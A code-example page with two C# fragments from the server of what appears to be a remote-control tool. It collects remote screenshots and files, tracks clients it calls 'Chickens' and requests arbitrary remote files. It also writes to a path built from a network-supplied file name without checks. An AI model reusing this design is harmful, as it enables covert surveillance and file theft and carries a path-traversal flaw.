Exemplo n.º 1
0
        private void OnRecv(ClientBean client, byte[] recvbuff)
        {
            string str = Encoding.Default.GetString(recvbuff);

            Debug.WriteLine(str);
            if (str.StartsWith("File", StringComparison.OrdinalIgnoreCase))
            {
                int    msgPos   = 20;
                string fileName = Encoding.Default.GetString(recvbuff, msgPos, 255).TrimEnd('\0');
                msgPos += 255;

                Debug.WriteLine(fileName);
                int fileOffset = BitConverter.ToInt32(recvbuff, msgPos);
                msgPos += sizeof(int);
                int fileCounts = BitConverter.ToInt32(recvbuff, msgPos);
                msgPos += sizeof(int);

                if (fileName.StartsWith("temp_screen_"))
                {
                    long     time = long.Parse(fileName.Substring(12));
                    DateTime dt   = new DateTime(1970, 1, 1, 8, 0, 0);  //UTC+8
                    dt       = dt.AddSeconds(time);
                    fileName = dt.ToString("yyyy-MM-dd HH.mm.ss") + ".bmp";
                }
                string filepath = @"D:\CtrlService_Recvs\" + fileName;

                FileStream file = new FileStream(filepath, fileOffset == 0 ? FileMode.Create : FileMode.Append);
                file.Write(recvbuff, msgPos, fileCounts);
                file.Close();
            }

            if (str.StartsWith("Chicken", StringComparison.OrdinalIgnoreCase))
            {
                listMutex.WaitOne();
                if (!Clients.Contains(client))
                {
                    Clients.Add(client);
                    LstChickens.Items.Add(client);
                }
                if (str.Length > "Chicken ".Length)
                {
                    LstChickens.Items[Clients.IndexOf(client)] = str.Substring("Chicken ".Length);
                }
                listMutex.ReleaseMutex();
                server.Send(client, BitConverter.GetBytes(SSprotocol.CMD_BEAT));
            }

            if (str.StartsWith("Result", StringComparison.OrdinalIgnoreCase))
            {
                ctrlForm.FeedBack(str);
            }
        }
Exemplo n.º 2
0
 private void btnGetFile_Click(object sender, EventArgs e)
 {
     if (txtRemoteFilePath.TextLength == 0)
     {
         MessageBox.Show("Choose File First");
         return;
     }
     server.Send(cb, SSprotocol.makeGetFileMessage(txtRemoteFilePath.Text));
 }